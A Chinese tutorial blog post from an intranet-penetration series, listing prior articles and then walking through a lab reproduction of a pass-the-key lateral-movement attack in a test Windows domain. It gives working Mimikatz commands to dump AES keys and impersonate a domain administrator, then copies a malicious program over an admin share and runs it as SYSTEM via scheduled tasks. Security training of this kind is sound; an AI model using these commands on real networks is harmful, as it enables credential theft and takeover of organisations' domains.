系列文章第一章节之基础知识篇
内网渗透(一)之基础知识-内网渗透介绍和概述
内网渗透(二)之基础知识-工作组介绍
内网渗透(三)之基础知识-域环境的介绍和优点
内网渗透(四)之基础知识-搭建域环境
内网渗透(五)之基础知识-Active Directory活动目录介绍和使用
内网渗透(六)之基础知识-域中的权限划分和基本思想
内网渗透(七)之基础知识-企业常见安全域划分和结构
内网渗透(八)之基础知识-企业域中计算机分类和专业名
系列文章第二章节之内网信息收集篇
内网渗透(九)之内网信息收集-手动本地信息收集
内网渗透(十)之内网信息收集-编写自动化脚本收集本地信息
内网渗透(十一)之内网信息收集-内网IP扫描和发现
内网渗透(十二)之内网信息收集-内网端口扫描和发现
内网渗透(十三)之内网信息收集-收集域环境中的基本信息
内网渗透(十四)之内网信息收集-域环境中查找域内用户基本信息
内网渗透(十五)之内网信息收集-域环境中定位域管理员
内网渗透(十六)之内网信息收集-powershell基础知识
内网渗透(十七)之内网信息收集-powershell收集域内信息和敏感数据定位
系列文章第三章节之Windows协议认证和密码抓取篇
内网渗透(十八)之Windows协议认证和密码抓取-本地认证(NTML哈希和LM哈希)
内网渗透(十九)之Windows协议认证和密码抓取-网络认证(基于挑战响应认证的NTLM协议)
内网渗透(二十)之Windows协议认证和密码抓取-域认证(Kerberos协议)
内网渗透(二十一)之Windows协议认证和密码抓取-Golden Ticket黄金票据制作原理及利用方式
内网渗透(二十二)之Windows协议认证和密码抓取-Silver Ticket白银票据制作原理及利用方式
内网渗透(二十三)之Windows协议认证和密码抓取-Mimikatz介绍和各种模块使用方法
内网渗透(二十四)之Windows协议认证和密码抓取-Mimikatz读取sam和lsass获取密码
内网渗透(二十五)之Windows协议认证和密码抓取-使用Hashcat和在线工具破解NTLM Hash
内网渗透(二十六)之Windows协议认证和密码抓取-浏览器、数据库等其他密码的抓取
内网渗透(二十七)之Windows协议认证和密码抓取-Windows其他类型抓取NTLM HASH工具
内网渗透(二十八)之Windows协议认证和密码抓取-Windows RDP凭证的抓取和密码破解
内网渗透(二十九)之Windows协议认证和密码抓取-Windows-2012R2之后抓取密码的方式和抓取密码的防范措施
系列文章第四章节之横向移动篇
内网渗透(三十)之横向移动篇-利用远控工具向日葵横向移动
内网渗透(三十一)之横向移动篇-利用远控工具todesk横向移动
内网渗透(三十二)之横向移动篇-利用远控工具GoToHTTP横向移动
内网渗透(三十三)之横向移动篇-利用远控工具RustDESK横向移动
内网渗透(三十四)之横向移动篇-IPC配合计划任务横向移动
内网渗透(三十五)之横向移动篇-IPC配合系统服务横向移动
内网渗透(三十六)之横向移动篇-Password Spraying密码喷洒攻击和域内用户枚举横向移动
内网渗透(三十七)之横向移动篇-Pass the Hash 哈希传递攻击(PTH)横向移动
注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!
pass the key 密钥传递攻击(PTK)横向攻击
PTK介绍
WinXP/2003/Vista/2008 ,以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证
什么是KB2871997
KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。
这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!
实验复现
实验环境
机器名 | 登录用户 | IP |
---|---|---|
Windows 2012(域控) | administrator(域管理员) | 192.168.41.10 |
windows 2012-2(域内主机) | administrator(本地管理员) | 192.168.41.15 |
Windows 10(域内主机) | administrator(本地管理员) | 192.168.41.14 |
实验前提
我们已经控制了2012-2主机,发现他是administrator本地用户登录系统,通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击
实验步骤
通过各种方式先拿到2012-2主机的权限
然后我们通过Mimikatz去抓取密码
sekurlsa::ekeys
成功抓取到域管理员用户的aes265_hmac密码
利用pass the key 密钥传递攻击(PTK)进行横向攻击
mimikatz sekurlsa::pth /user:administrator /domain:hack.com /aes256:618c111cdcfd83adec90ea4866dba426f6b2362484ea4626fb1ee9b43bd2f85b
命令执行完成后,会在我们控制的机器上弹出一个cmd的窗口:
这个弹窗由于有了域管理员用户的票据,所以我们可以访问win10电脑了
接下来我们去建立IPC链接建立计划任务上线win10
这个程序是我们放置在2012-2机器上的恶意程序,接下来我们把它拷贝到win10机器上
copy 恶意文件 \\机器名\C$
#注意这里不能写IP地址,一定要写机器名
schtasks命令创建计划任务:
schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f
schtasks命令执行计划任务:
schtasks /run /s IP地址 /i /tn "计划任务名"
目标机器win10成功上线